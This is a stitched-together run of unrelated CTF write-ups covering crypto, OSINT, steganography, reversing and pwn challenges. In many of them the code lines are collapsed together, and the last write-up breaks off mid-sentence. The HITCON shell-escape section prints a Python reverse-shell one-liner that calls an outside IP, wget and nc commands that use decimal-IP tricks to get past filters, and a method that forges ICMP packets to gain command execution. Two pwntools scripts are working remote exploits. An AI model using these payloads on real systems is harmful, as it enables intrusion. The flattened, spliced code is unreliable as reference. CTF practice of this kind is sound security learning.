The flag isflag{reality_is_a_consensus}``````flag{reality_is_a_consensus}```
```password = "CYCTF{ju$@rcs_3l771l_@_t}bd3cfdr0y_u0t__03_0l3m"newPass = list(password)for i in range(0,9): newPass[i] = password[i]for i in range(9,24): newPass[i] = password[32-i]for i in range(24,47,2): newPass[i] = password[70-i]for i in range(45,25,-2): newPass[i] = password[i]password = "".join(newPass);print(password)``````CYCTF{ju$t_@_l177l3_scr@mbl3_f0r_y0u_t0_d3c0d3}```
# Biscuits:Web Exploitation:50ptsAda Lovelace used to love eating french biscuits during her work Link: [http://34.72.245.53/Web/Biscuits/](http://34.72.245.53/Web/Biscuits/) # Solution問題名から容易に想像がつく。 URLにアクセスするまでもない。 ```bash$ curl -s --dump-header - http://34.72.245.53/Web/Biscuits/ | grep shaktictfSet-Cookie: THE_FLAG_IS=shaktictf%7Bc00k13s_m4k3_phr3n0l0gy%26m3sm3r15m_3asy%7D$ curl -s --dump-header - http://34.72.245.53/Web/Biscuits/ | grep shaktictf | nkf -w --url-inputSet-Cookie: THE_FLAG_IS=shaktictf{c00k13s_m4k3_phr3n0l0gy&m3sm3r15m_3asy}```flagがクッキーに入っていた。 ## shaktictf{c00k13s_m4k3_phr3n0l0gy&m3sm3r15m_3asy}
# DarkCTF 2020 – Time Travel * **Category:** OSINT* **Points:** 450 ## Challenge > Can you find the exact date this pic was taken (It is Australian forest fire)> > Flag Format: darkCTF{dd-mm-yyyy} ## Solution The challenge gives you an image regarding to Australian forest fires. ![TimeTravel.jpg](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DarkCTF%202020/Time%20Travel/TimeTravel.jpg) On the [NASA satellite website](https://worldview.earthdata.nasa.gov/) you can find a section regarding the Australian forest fires. ```https://worldview.earthdata.nasa.gov/?v=87.85473293897292,-48.20074873233189,175.61111373497772,-6.436481569649914&t=2019-09-07-T15%3A25%3A24Z&l=VIIRS_SNPP_Thermal_Anomalies_375m_Day(hidden),VIIRS_SNPP_Thermal_Anomalies_375m_Night(hidden),Reference_Labels(hidden),Reference_Features(hidden),Coastlines,VIIRS_SNPP_CorrectedReflectance_TrueColor,MODIS_Aqua_CorrectedReflectance_TrueColor(hidden),MODIS_Terra_CorrectedReflectance_TrueColor(hidden)&tr=australia_fires_2019_2020``` Playing around with the days you can find the 15 September which is identical to the provided image. ![2019-09-15.png](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DarkCTF%202020/Time%20Travel/2019-09-15.png) So the flag is the following. ```darkCTF{15-09-2019}```
```from pwn import *while True: try: nc = remote('109.233.57.95', 20202) i = 1 while True: s = nc.recv().decode() print(s) s = nc.recv().decode() print(s) if '(x y)?' in s: nc.sendline('1 ' + str(i)) i += 1 else: break nc.sendline('3') nc.sendlineafter('? ', '3 AAAAAAA/bin/sh\x00') nc.sendline('flag') nc.interactive() break except: continue```![](https://i.ibb.co/zss271W/Screenshot-1.jpg)```spbctf{OxOxO_N0w_y0u_REALLY_h4ve_w0n}```
```python from pwn import *context.log_level='debug' # p =process('./chall')p =remote('34.72.218.129','5555')elf = ELF('./chall')libc = ELF('./libc-2.27.so') p.recvuntil(' break in ;)') p.sendline('/bin/sh;') # p.recvuntil('armour\n')p.sendline('2')p.recvuntil('index :\n')# gdb.attach(p,'b *0x8048781')p.sendline('-7') libc.address = u32(p.recv(4))-libc.sym['printf']print hex(libc.address) # p.recvuntil('armour\n')p.sendline('1')p.recvuntil('index :\n')# gdb.attach(p,'b *0x8048781')p.sendline('-7')p.recvuntil('data :\n')p.send(p32(libc.sym['system']))# gdb.attach(p) # p.recvuntil('armour\n')p.sendline('3') p.interactive() ```
# Path of the suspect **Category**: OSINT \**Points**: 425 The first thing I did was Google what MCC, MNC, LAC, and CID were. Eventually,I found a tool called https://opencellid.org that would find locations based onthese values. So next I wrote a script ([parse.py](parse.py)) to parse the PDF text into some easily readableJSON like so:```json[ { "day": "11.11.2020", "time": "12:04", "mcc": 260, "mnc": 3, "lac": 52911, "cid": 8961, "rtype": "GSM" }, { "day": "11.11.2020", "time": "13.09", "mcc": 260, "mnc": 6, "lac": 206, "cid": 1658726, "rtype": "UMTS" },``` Next I wrote another script that would send a request to OpenCelliD and read thelocation: ```pythonimport requestsimport pprintimport jsonimport time url = 'https://www.opencellid.org/ajax/searchCell.php' with open('src.json', 'r') as f: src = json.load(f) locs = [] for cell in src: payload = { 'mcc': cell['mcc'], 'mnc': cell['mnc'], 'lac': cell['lac'], 'cell_id': cell['cid'] } response = requests.request('GET', url, params=payload) print("Received loc: ", response.json()) locs.append(response.json()) time.sleep(5) # Avoid rate-limiting with open('locs.json', 'w') as f: f.write(json.dumps(locs, indent=4))``` The format of the `locs.json` was like this:``` json[ { "lon": "19.894857", "lat": "49.91982", "range": "4594" }, { "lon": "19.891884", "lat": "50.019426", "range": "1000" },``` Next I needed a way to plot these on a map, so I decided to use https://www.mapcustomizer.com/.I wrote a short script ([proc.py](proc.py)) to convert `locs.json` into a format that it liked:```pythonimport jsonimport matplotlib.pyplot as plt with open('locs.json', 'r') as f: locs = json.load(f) with open('mapconv', 'w') as f: for loc in locs: f.write("{},{}\n".format(loc['lat'], loc['lon']))``` Then I pasted the `mapconv` file contents into the "Bulk Entry" modal and gotthis map:![map](map.png) Finally after several hours of work, the flag was `AFFCTF{IOTLL}`
# HITCON CTF 2020 Misc Challenges This weeked I played HITCON CTF 2020 with the team [Organizers](https://ctftime.org/team/42934). Everyone put in an incredible effort and we were excited to place 5th among the best CTF teams in the world. ![](images/scoreboard.png) What follows are brief writeups of the very enjoyable Misc shell escape challenges. I learned a lot from these challenges and from sharing ideas with the rest of the team. Several others contributed to solving including jkr, Robin_Jadoul, mrtumble, esrever, and mev. ## oShell (280pts) #### The Setup - We login to an SSH session and have to provide a password and a token to launch a container isolated for our own team. `sshpass -p 'oshell' ssh [email protected]` makes this a little more comfortable. - Typing `help`, we only have access to the following programs: `help exit id ping ping6 traceroute traceroute6 arp netstat top htop enable` - The `enable` program looks interesting, and it prompts us for a password. #### Tracing with htop - We realise that `htop` has `strace` functionality built-in. In a second SSH session, we can type `s` when selecting the `oShell.py` process which is running `enable`, then see the password in the `readv` syscall there. - Using tmux to copy and paste the password into the enable prompt unlocks two new programs `ifconfig` and `tcpdump`. - There's a 5 minute timeout for our container, and the enable password changes each time, making this part of the challenge a little frustrating. #### Command execution with toprc - We need to find a way to execute an arbitrary command. We find that `top` uses an `.toprc` file which contains commands that can be used in an obscure "inspect mode", and has some unusual parsing rules which work in our favour. - The first line of `.toprc` is ignored, then there's some settings that apparently need to exist, and then there's a line starting `Fixed_widest=0`. Anything appended after that line is ignored unless it matches a line format such as `pipe\txxx\tdate`. That line allows us to run the date command from within top by pressing `Yxxx` to enter "inspect mode". - However currently we have no way to write arbitrary data to a file. #### ICMP echo replies - We know that we can write packet capture data with `tcpdump` using its `-w` flag, and that we can put data in ICMP packets using the `ping` command. But the busybox version of ping we have here only supports a single repeated byte in the payload field. - The oShell machine does have outbound connectivity though. Therefore we can ping our own box, then forge an ICMP echo reply that contains an entire valid `.toprc` in the payload field. - We can tcpdump this echo reply into the oShell user's `.toprc`. As long as the ICMP header doesn't includes a newline character, the packet data (up to the first newline) will be ignored and the `.toprc` packet capture will be valid. - [This article](https://subscription.packtpub.com/book/networking_and_servers/9781786467454/1/ch01lvl1sec20/crafting-icmp-echo-replies-with-nping) is helpful in showing how to use nmap's `nping` to forge an echo reply. We should use `sudo bash -c 'echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all'` to disable normal ICMP echo replies from the kernel. #### The exploit - tcpdump command run on oShell: `tcpdump -i eth0 -w /home/oShell/.toprc -c1 src 46.101.55.21`. The `-c1` tells it to stop recording after a single packet. - nping command run on our own box: `sudo nping --icmp -c 1 --icmp-type 0 --icmp-code 0 --source-ip 46.101.55.21 --dest-ip 54.150.148.61 --icmp-seq 0 --data $(cat oshell_payload | xxd -p | tr -d "\n") --icmp-id $ICMP_ID`. - The ICMP ID must match the ID of the echo request packet (to pass through the networking stack on the oShell machine), so we also use `sudo tcpdump src 54.150.148.61 and icmp` on our own box to see the incoming ID and adjust the `nping` command accordingly. - After sending the echo reply, run `top` and enter `Y`, then running the command should give a reverse shell! From there we can easily call `/readflag`. If it doesn't work there may have been a newline character in the ICMP echo reply header, so we just try again. Flag: `hitcon{A! AAAAAAAAAAAA! SHAR~K!!!}` ## Baby Shock (201pts) #### The Setup - We type `help` and find the only available programs are `pwd ls mkdir netstat sort printf exit help id mount df du find history touch` - We are inside a Python shell that applies restrictions on our standard input then executes them inside a `busybox sh`. - After manual fuzzing, we find that all shell special characters are blocked apart from `.:;()`. It seems we can only use a single `.` in our command line. - Our command line must start with one of the allowed programs, but there's not much we can do with them (since dash is blocked we can't use option flags). #### Command separation - We find we can use `;` to terminate a command then run a second command (this can optionally be done inside a subshell with `()`). The second command is not subject to the same program restrictions as the first one. - So we can use `pwd ; nc 778385173 4444` to connect to our own server. Decimal IP notation means we can get around the restriction on more than one `.`. - We can't plug netcat into a shell as we can't use `-e` or other techniques. #### Wgetting a shell - On our own box we can write a Python reverse shell payload to `index.html` and host it with `python3 -m http.server`:```python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("46.101.55.21",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'``` - Then we can `pwd ; wget 778385173:8000` to pull down our payload into the wget default filename `index.html`. - We execute this with `pwd ; sh index.html` to get a reverse shell with no restrictions. - From there we just call the `/getflag` binary. Flag: `hitcon{i_Am_s0_m155_s3e11sh0ck}` ## Revenge of Baby Shock (230pts) #### The Setup - The same set of programs are allowed as the previous challenge, however this time we additionally cannot use `.` or `;`. - Our previous payload therefore doesn't work at all. #### Unexpected function definition - We discover that we can define a shell function without using the conventional syntax. `pwd ()(echo hello)` then running `pwd` will echo hello. In fact, even `pwd () echo hello` works in the busybox sh, although not when tested locally in bash. - The function assignment is permitted as we started our command line with an allowed program. The function we created takes precedence over the `pwd` shell builtin. - Now we need to find a way to use arbitrary input to get a reverse shell. The previous `wget` payload won't work as we can't even use a single `.` this time to execute `index.html`. #### Session recording with script - We can open a `script` session to record our interactions inside the shell to a file (`pwd () script f` then `pwd`). - Then we connect to our remote server with `pwd () nc 778385173 4444` and type the Python reverse shell payload in on our box. - After exiting the session, we'll have a script file `f` including our payload but it will also have some bad lines like `Script started, file is f` #### Cleaning up with vim - We can use `vim` to edit the file! After opening Vim, our input is sent to it (after being parsed for restricted characters). - For instance `du dd :wq` will delete a line then save the file. `du` is good to use here as it doesn't do anything in Vim. - Once the file has been sufficiently cleaned up, it can be executed like in the previous challenge to give a shell. Flag: `hitcon{r3v3ng3_f0r_semic010n_4nd_th4nks}`
# Indicate ## Task Our SOC team got that our network was compromised but the don't know how to indicate what is going one. They got the following strings from the SIEM solution: - 001351e2ab912ce17ce9ab2c7465f1a265aa975c879e863dea06e177b62d8750- fe1a602aadba2e52b3b2cf82139c4d10c9fc14889435e0bd9aa54d30760fd1db- 352656186eb3bb7e7495fa0922a4defce93bc2213c4d37adc6e42b59debee09e- d672df1dea88e3ad2159b9c7b2df1dbd39b912e648c5097800f48fbf95cadd70- 352656186eb3bb7e7495fa0922a4defce93bc2213c4d37adc6e42b59debee09e- 0e6957de845ce5a1b0a73e91d12383714bda0fac66b13002170c1ff73426b82a- 069cf46549f856b7fc266feab68968ad1d5ec4569f6326d71e999526b721ee0c- 39759c4fd7193a29cda8ea8714e690c8b5ec374b659a3a1a3bc402c1ba20364a- c25b0ab2413a7b300fc06d5dc5ec9807ec21372b27a5162fa2eb9729b84dd28c- 213d537d2f63c70249a4244c394d9c364476ca6fd1ee04d5dda7ddaaf60a04e7- e366a166b172f225d842c0662f5cb261c0d7b50430dbd392f3eb33249fdb375c Can you help them to solve the issue? ## Solution First thing to do is looking these (probably) hashes up with `virustotal`. After I found nothing I used https://www.hybrid-analysis.com/ It told me the first hash was in an `Unknown Files Collection`. All the other hashes are in there as well, except one. Looking that up gives `JISCTF2020.pdf`. In the `Screenshots` section we click on `Show more` and find a screenshot of the second page with the flag: `JISCTF{IOC-Search-Using-OSINT}`
#### Original Writeup - [https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Trivia%203.md](https://github.com/CTSecUK/CyberYoddha-CTF-2020/blob/main/Write-ups/Trivia%203.md) ----- # Trivia 3 ![Category](http://img.shields.io/badge/Category-Trivia-orange?style=for-the-badge) ![Points](http://img.shields.io/badge/Points-100-brightgreen?style=for-the-badge) > Which company invented the original hadoop software?{no wrapper needed} [https://www.geeksforgeeks.org/hadoop-history-or-evolution/](https://www.geeksforgeeks.org/hadoop-history-or-evolution/) ## Answer: Yahoo
TL;DR prototype pollution, DOM clobbering, and angularjs sandbox escape. [View full writeup here](https://blog.jimmyli.us/articles/2020-12/PerfectBlueCTF-WebExploitaiton)
# Mysterious RSA> 350 points ## Description> We found [this mysterious website](https://metaproblems.com/8b2797bf7f420d5ad92e60ba064a55a1/index.php), and we think it's trying to say something, but we're> having trouble figuring it out. It appears to be broadcasting the same message over and over again like a sort of modern day number station. We're pretty sure > the message is encrypted with RSA. Could you take a crack at it? > **Hint : Same message is being broadcasted...** ## SolutionThe link takes us to a website which gives random `N`, `E` and `C` **[ where N = modulus, E = public exponent, C = Ciphertext ]**. They also hinted us that they are encrypting the `message` with different `N` and `E`. This leads to the famous [Håstad's broadcast attack](https://en.wikipedia.org/wiki/Coppersmith%27s_attack#H%C3%A5stad%27s_broadcast_attack) where we need to collect `E` ciphertexts to perform this attack. ### Collection of Ciphers Here's the [python script](collect.py) that I used to grab the ciphertexts from that site.```py#!/usr/bin/env python3# https://metaproblems.com/8b2797bf7f420d5ad92e60ba064a55a1/index.php import requests as rimport re file = open('data.txt', 'w')for i in range(1000): res = r.get("https://metaproblems.com/8b2797bf7f420d5ad92e60ba064a55a1/index.php").text stripped = re.sub('<[^<]+?>', '', res).split('\n\n') # regex to get only N, E, C print(f"Collected {i+1}") n = stripped[0] e = stripped[1] ct = stripped[2] # store the N, C pairs in diff files with filename E with open(e[2:]+'.txt', 'a') as f: f.writelines(n+'\n'+ct) ```### The AttackI found a script on Github and modified it for the Attack. Download the [0x43.txt](https://github.com/t3rmin0x/CTF-Writeups/blob/master/MetaCTF%20CyberGames%202020/crypto/Mysterious%20RSA/%200x43.txt) file to test. Script : [hastad-attack.py](hastad-attack.py) ```py"""author : MxRy - 2016 - Hastad's attack python2https://github.com/MxRy/rsa-attacks/blob/master/hastad-attack.py"""import mathimport functoolsimport gmpy2 # Get the Flag (only for CTFs)def ReverseX(x, e) : m = gmpy2.iroot(x, e)[0] size = int(math.log(m, 10) + 1) print("Flag : \n"+"".join([chr((m >> j) & 0xff) for j in reversed(range(0, size << 3, 8))])) return 1 # Step-by-step CRT implementation (cf. demo precedente)def CrtComputation(C_i, N_i) : mu = list() nu = list() e = list() (x_i, N) = (0, 1) """ Calcul mu_i = PI_(j=1,j!=i)^k(n_j) """ N = functools.reduce(lambda a, b: a*b, N_i) for n_i in N_i : mu.append(N//n_i) """ Calcul nu_i inverse modulo n_i des mu_i useful link : https://en.wikibooks.org/wiki/Algorithm_Implementation/Mathematics/Extended_Euclidean_algorithm """ for mu_i, n_i in zip(mu, N_i) : nu.append(gmpy2.invert(mu_i, n_i)) """ Calcul e_i = nu_i * mu_i """ for mu_i, nu_i in zip(mu, nu) : e.append(mu_i*nu_i) """ Calcul et retour de x """ for e_i, a_i in zip(e, C_i) : x_i += e_i*a_i x = x_i % N return x def HastadAttack(C, N, e): x = CrtComputation(C, N) return ReverseX(x, e) def main(): C = [] N = [] e = 0x43 with open(" 0x43.txt", "r") as f: lines = f.read().split('\n') for i, line in enumerate(lines): if i <= e*2-1: if line[0] == 'N': N.append(int(line[3:], 16)) else: C.append(int(line[3:], 16)) HastadAttack(C, N, e) if __name__ == "__main__": main() ```## Flag> **MetaCTF{WoW_y0U_Sur3_L!ke_youR_CRT_Att@ck5!}**
# Invisible:Steganography:50ptsOne of our engineer got some clues regarding a recent attack in the city, using her knowledge on networking. Can you connect the dots and help us? Flag Format : shaktictf{STRING} [file.jpg](file.jpg)    [file.txt](file.txt) # Solutionfile.jpgとfile.txtが配布される。 jpgが怪しいが`Nothing here :(`の文字列しか見つからない。 txtをメモ帳で開いても`Nothing here :(`と書かれているのみだった。 しかしtxtをよく見ると不自然な空白が存在していることに気付いた。 「steganography tabs spaces」でググるとstegsnowなるものがあるらしい。 ```bash$ stegsnow file.txt_z/?Q}达QG}E?z/E?}}}}}达$ stegsnow -C file.txt.- -- .---- ...- .---- ... .. -... .-.. ...-- -. ----- .--```圧縮されているためCオプションが必要らしい。 モールス信号らしき文字列が隠されていた。 [Morse Code Translator](https://morsecode.world/international/translator.html)で復号すると`AM1V1SIBL3N0W`となった。 これを指定された形式に整形するとflagとなった。 jpgを使っていない。 ## shaktictf{AM1V1SIBL3N0W}
# Queensarah2 **Category**: Crypto \**Points**: 200 \**Solves**: 37 \**Author**: UnblvR ## Challenge The secret mainframe for a distributed hacker group has been discovered. Wehave managed to exfiltrate some of the code that it runs, but we don't have aphysical copy of their access badges. Can you still get the flag? Remote: `nc queensarah2.chal.perfect.blue 1` Note: enter flag as `pbctf{lower_case_flag_text}` By: UnblvR ## Solution Looks like a home-rolled crypto algorithm. Basically it creates this dictionarycalled `S_box` that maps all possible bigrams to another bigram from a shuffledset. ```pythonbigrams = [''.join(bigram) for bigram in product(ALPHABET, repeat=2)]random.shuffle(bigrams) S_box = {}for i in range(len(ALPHABET)): for j in range(len(ALPHABET)): S_box[ALPHABET[i]+ALPHABET[j]] = bigrams[i*len(ALPHABET) + j]``` Then the encryption step is like this:```pythonrounds = int(2 * ceil(log(len(message), 2))) # The most secure amount of rounds for round in range(rounds): # Encrypt for i in range(0, len(message), 2): message[i:i+2] = S_box[''.join(message[i:i+2])] # Shuffle, but not in the final round if round < (rounds-1): message = \ [message[i] for i in range(len(message)) if i%2 == 0] + \ [message[i] for i in range(len(message)) if i%2 == 1]``` So basically, it's like this: ![encrypt](imgs/encrypt.png) The challenge server will encrypt anything for us, so what happens if we justsend it one bigram? ![two](imgs/two.png) Ok, what happens if we take the encrypted output (`az` in the image above), andsend it to the server over and over again? Then eventually we'll get back towhere we started. Turns out this is all we need to crack the encryption.1. Make a set of all bigrams2. Remove a bigram (store it in a var as the starting point) and send it to the server3. Take the returned value and remove it from the set4. Send that bigram to the server5. Repeat until we get back to the start6. Go to step 2 and repeat until we checked all 729 bigrams7. If we're lucky, we can bruteforce all possible values of `S_box` and get 1 correct decryption The idea goes like this:- `S_box` maps bigrams to another bigram (no two bigrams map to the same one)- So there has to be at least one cycle- Each cycle can either have even or odd length ![even_odd](imgs/even_odd.png) Since sending a single bigram to the server will make it go through`S_box` twice, we have to jump over 1 element in the cycle each time.- If the cycle has odd length, we can still get to every element in the cycle- If the cycle has even length, we can only get two halves of the cycle. What can we do? ![even](imgs/even.png) Yeah, we can just bruteforce by rotating one of halves `n` times. But what if wehave more than one even cycle? Then we have to bruteforce all of them. If we'relucky, the total number of iterations will be small. Here are cases for the types of cycles in `S_box` we'll encounter. If we get abad `S_box` then we just close the connection and try again. ![cycles](imgs/cycles.png) I wrote a semi-working script in [guess.py](guess.py), and during the CTF I justlet it run in the background. After around 20 minutes it got lucky:```atmxovxmydgu_colfvllcxdffczoachaatekepcveppptfirxzhbuinv__merftbsckhmidlylpn_smzjcguxbhgefekgwjypqqkswoeoyl_wwsofbpjbrmecffzjpeewxbsispphlygeeetbl_fbwlhmdlqyowkdcejixrrjxkihwslide_attack_still_relevant_for_home_rolled_crypto_systemsuwqnnykpzr_jwuieitlkfdsfahuywguoqnaomqhxpriruwnkuxbpbhhuoza_egexqtpazpvkkodgibwvxi_c_sfcphrthinnjzeglecdggaa_d_vsfvjawqnqrmjmeikmgdjrc_ojviatxtwkmrjajuoi_buewwamyzlqvzuatpihe ... > slide_attack_still_relevant_for_home_rolled_crypto_systemsYou got it. The flag is pbctf{slide_attack_still_relevant_for_home_rolled_crypto_systems}``` Thanks perfect blue for the cool challenge!
# RGNN Reversing, Great. Nunnu Nanna RGNN is a binary that takes in a 50x50 character input and generates the flag out of it if it fulfills the specified constraints. ## Solution ### Looking into the Code Interestingly the control flow of the binary is a bit weird as the `main` function only contains a check whether an addtional parameter was provided (otherwise it sets `failed = -1`).The actual logic is within the `fini_array` executed after the `main` function. If a file was provided it starts with reading: ```Cif ( failed != -1 ) { // if no file was provided don't check if it fulfills the constrains fd = open(file, 0); if ( fd >= 0 ) { for ( i = 0; i < 0x32; i++ ) { for ( j = 0; j = 0x32; j++ ) { if ( read(fd, &buf, 1) != 1 || buf < 0x30 || buf > 0x33 ) // read the input return; inputMap[0x32 * i + j] = buf - 0x30; } if ( read(fd, &buf, 1) != 1 ) // read the new line return; } close(fd); }}``` The input has a format of 50 characters that are either 0, 1, 2 or 3 and this for 50 lines (important here is a 1 byte line ending). Next is the actual task of the challenge: ```Cif ( failed != -1 ) { // if no file was provided don't check if it fulfills the constrains for ( i = 0; i < 0x32; i++ ) { // y axis loop input_j = 0; for ( j = 0; j < 0x28; j++ ) { // x axis loop if ( arrayXAxis[2 * (j + 0x28 * i)] == 5 ) break; // Type = 5 Blocks act as ends for the row / column while ( input_j < 0x32 ) { // iterate until a non-zero is found in the input if ( inputMap[0x32 * i + input_j] ) break; input_j++; } // check if the found input is not out of bounds and is equal to the required block type if ( input_j == 0x32 || inputMap[0x32 * i + input_j] != arrayXAxis[2 * (j + 0x28 * i)] ) { failed = 0; return; } // iterate until the input type changes or we go out of bounds old_j = input_j; while ( input_j < 0x32 && inputMap[0x32 * i + input_j] == arrayXAxis[2 * (j + 0x28 * i)] ) input_j++; // check if the block size is equal to the required block size if ( input_j - old_j != arrayXAxis[2 * (j + 0x28 * i) + 1]) { failed = 0; return; } } }}``` This is a bit more to digest. The function iterates through a `arrayXAxis` array and the input has to match the values of it.These values have to repeated exactly a specified amount from the `arrayXAxis` array and if for a single array entry this is not true the program fails.Between each loop iteration an arbitrary number of `0` can exist as long as we don't get out of the 50 character bounds. The same is repeated for the Y-Axis with another array: ```Cif ( failed != -1 ) { // if no file was provided don't check if it fulfills the constrains for ( i = 0; i < 0x32; i++ ) { // x axis loop input_j = 0; for ( j = 0; j < 0x28; j++ ) { // y axis loop if ( arrayYAxis[2 * (j + 0x28 * i)] == 5 ) break; // Type = 5 Blocks act as ends for the row / column while ( input_j < 0x32 ) { // iterate until a non-zero is found in the input if ( inputMap[0x32 * input_j + i] ) break; input_j++; } // check if the found input is not out of bounds and is equal to the required block type if ( input_j == 0x32 || inputMap[0x32 * input_j + i] != arrayYAxis[2 * (j + 0x28 * i)] ) { failed = 0; return; } // iterate until the input type changes or we go out of bounds old_j = input_j; while ( input_j < 0x32 && inputMap[0x32 * input_j + i] == arrayYAxis[2 * (j + 0x28 * i)] ) input_j++; // check if the block size is equal to the required block size if ( input_j - old_j != arrayYAxis[2 * (j + 0x28 * i) + 1]) { failed = 0; return; } } }}``` This can be modeled as following: ![](img/XAxis.png) The binary provides for both X-Axis and Y-Axis an amount of `Blocks` which have a `Type` (`1`, `2`, `3`) and a Size.Each Row and Column is `50 Elements` in Size and these `Blocks` are placed in the specified order on them.It is then possible to move these `Blocks` left and right by redistributing the `0`s around. ![](img/YAxis.png) A small addition to this is that two `Blocks` with the same `Type` may not be directly next to each other as the program would otherwise count them as one `Block` and not multiple, so there must be `0`s between them. ![](img/XYAxis.png) The solution to this challenge is a layout that is simultaneously viable for the `X-Axis-Array` of `Blocks` and the `Y-Axis-Array` of `Blocks`. ### Modeling the Problem ![](img/Conv.png) As a first step to solving this I converted the `X-Axis-Array` and `Y-Axis-Array` from their array of `(Type, Size)` into their `50 x 50 Raster` representation. (See the `createRaster.py` script) For the X-Axis this looks as following: ![](img/mapX.png) And for the Y-Axis: ![](img/mapY.png) The second step was to make `Blocks` out of these `Raster`s again and to define constrains for moving them around. ```pythonglobalBlockNr = 0def blockify(line): global globalBlockNr blocks = [] # (blockType, blockSize, blockPostionVar) lastBlock = None for c in line: if lastBlock != None and (ord(c)-ord('0')) == lastBlock[0]: bT, bS, bV = lastBlock lastBlock = (bT, bS+1, bV) else: if lastBlock != None: blocks.append(lastBlock) lastBlock = None if c != '0': lastBlock = ((ord(c)-ord('0')), 1, BitVec('block_'+str(globalBlockNr), 8)) globalBlockNr += 1 if lastBlock != None: blocks.append(lastBlock) return blocks``` Reversing the above process again and adding the additional position variable is rather easy and could have been probably combined with the `Raster` creation part. The movement constraints of the `Blocks` can be expressed as following: ```pythondef blockifyConstrains(line): blocks = blockify(line) for i in range(len(blocks)): solver.add(ULE(blocks[i][3],0x32-blocks[i][1])) # A Block may only have a position from 0 to 49 and they may not go out of bounds for i in range(len(blocks)): if i+1 < len(blocks) and blocks[i][0] == blocks[i+1][0]: solver.add(ULT(blocks[i][2]+blocks[i][1], blocks[i+1][2])) # Increasing the boundry box if two same Type Blocks are following each other elif i+1 < len(blocks): solver.add(ULE(blocks[i][2]+blocks[i][1], blocks[i+1][2])) # No Block may intersect or be more right than their successor Block if i-1 > 0 and blocks[i][0] == blocks[i-1][0]: solver.add(ULT(blocks[i-1][2]+blocks[i-1][1], blocks[i][2])) # Increasing the boundry box if two same Type Blocks are following each other elif i-1 > 0: solver.add(ULE(blocks[i-1][2]+blocks[i-1][1], blocks[i][2])) # No Block may intersect or be more left than their predecessor Block return blocks``` - Each `Block` with their full length must be within the 50 Length Row / Column- As the sequential order of `Blocks` may not be changed, no `Block's` position may be lower than their predecessor or higher then their successor- `Blocks` may not intersect with each other- If two `Same-Type Blocks` are next to each other enforce a gap between them Now to combine the `X-Axis` and `Y-Axis` contrains on these `Blocks` I project them back again on the `50 x 50 Raster` ```pythondef addLine(line, row): blocks = blockifyConstrains(line) for p in range(0x32): # for each pixel in this row l = [] last = (pixel[row][p] == 0) # if this pixel is in no block then it's value is 0 for i in range(len(blocks)): # check if the pixel is in a block and if not check the next block last = If(And(ULE(blocks[i][2], p), ULT(p, blocks[i][2]+blocks[i][1])), pixel[row][p] == blocks[i][0], last) solver.append(last) # add the merged constraint to the solver``` I do this by checking for each pixel in a Row / Column if it's within one of the `Blocks` and if so then adding the `Type` of the `Block` as a constrain for the pixel (or `0` if the pixel is in no `Block`) The same is of course also done for the `Y-Axis`: ```pythondef addColumn(line, col): blocks = blockifyConstrains(line) for p in range(0x32): # for each pixel in this column l = [] last = (pixel[p][col] == 0) # if this pixel is in no block then it's value is 0 for i in range(len(blocks)): # check if the pixel is in a block and if not check the next block last = If(And(ULE(blocks[i][2], p), ULT(p, blocks[i][2]+blocks[i][1])), pixel[p][col] == blocks[i][0], last) s.append(last) # add the merged constraint to the solver``` (See `solve.py` for the full solution) ### Flag After a short while of letting `Z3` solve the model we get a solution: ![](img/mapSolution.png) ```1111311112222011210113001333120011113333322110111111132112111223120210333311121301031133301331111120010131102111111231120312223211000331210300333111011121111222123233102303013230113023121112200312013211220220320222031001103311031111112001111210031330302332130110112331011023323111100330011213112311112303023231322202210311213111101302000102202222213112112201110220311121111011122200022121101301223222122033230223003203321220131203222331011213220132222023311120331212031133011012130013320332132221111033020111213333021122132222111013301303003202200113121333133322110202332331133323022111100322221301021323300333323010020003111112233331311233022313111211122233033022321033021111333333022101101120130110201133303011013311323012210030113111320013202333001102312221111202122222022323310312223211120200330130223111212033111013320221200223111230313312233301233331021021012212100332012122213312133123231020230222211312222312111011112111102133110002102312230112130103230112210111111110331122220331120211133312223321333311321001122111111031121112101222111130322212123330211121111122001200131212112233211111003203101331230001123111231213223222301133301122130000331100101113231330322220130022013003311103212302221111121110222311322201311003323101301132331110333212013320200002222222111221103020122233323311132302020221321302233103330301120330223112221133333333332221313322322311033001122033120220322223033123033223313032101011122122220222113123212121333030003310200033332222311221032020112101333212223323300002332212103322123122111222110121123331032220333222202231021101011231111022012301101200112332102312220223112211330112222123231113232321111012133302130212211133301221031010111331111112012113321322110122121111331032213031112211133101000000132333111001212221313301100113233213122012331222331332003012113112230111201032222232133312311222203130211033322011213303202030302202311112110212222221332030333202122302132132003330013111120133322312121320021131132113331111131222112031312231303323113222220001123102321111112311211000002111130303331332023321111112030301111113323302112313123222311210132023011301011313311111232033223333303020103310320330000111130123300111101103302013311122111231111130330131020011233311221111012332020311312033001131112333303222033033333212112203111233113322333333300221021331003333200312112033333110131023223303213132021113013303320322123203021101100211320211131121012312112232012112332021022222311202330131012330213231111022221211132332011333303310033031221123122112033110113113022003``` Using this as the input for the binary provides the flag (again watch out to use 1-Byte Line Breaks): $ ./binary input.txt pbctf{ebbebebtebeertbebbrbbrebbetbttetebrtbbbeeettbbtbbbbteetbrrrbbttb}
# Queen of Hearts Write-Up ### Presented to you by [Team 0x194](https://0x194.com/writeup/Metasploit%20Community%20CTF%202020/Queen_of_Hearts). Copyright © 2020 Team 0x194. Some Rights Reserved. This work is licensed under a [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/licenses/by-sa/4.0/) For attribution, we would appreciate if you also include a link to our [original write-up](https://0x194.com/writeup/Metasploit%20Community%20CTF%202020/Queen_of_Hearts) > This may not be the intended solution, but it works! lol > We first thought that it required us to exploit some java serialization vulnerabilities... > Yet it turns to be so... dramatic If you visit port 9010 on the target machine, you can find a jar file `QOH_Client.jar`. Download it and run it with `java -jar` commands. ```Successfully connected to the server!Please select an available action from the list below:[1] Lists available files on the server[2] Download available files from the server[3] Authenticate to the server 1Executing action...Listing available files to download: test.txtqueen_of_hearts.pngtodo.md``` Thus, we can know that solving this challenge gives us the **Queen of Hearts** card. However, we cannot download it directly as the server 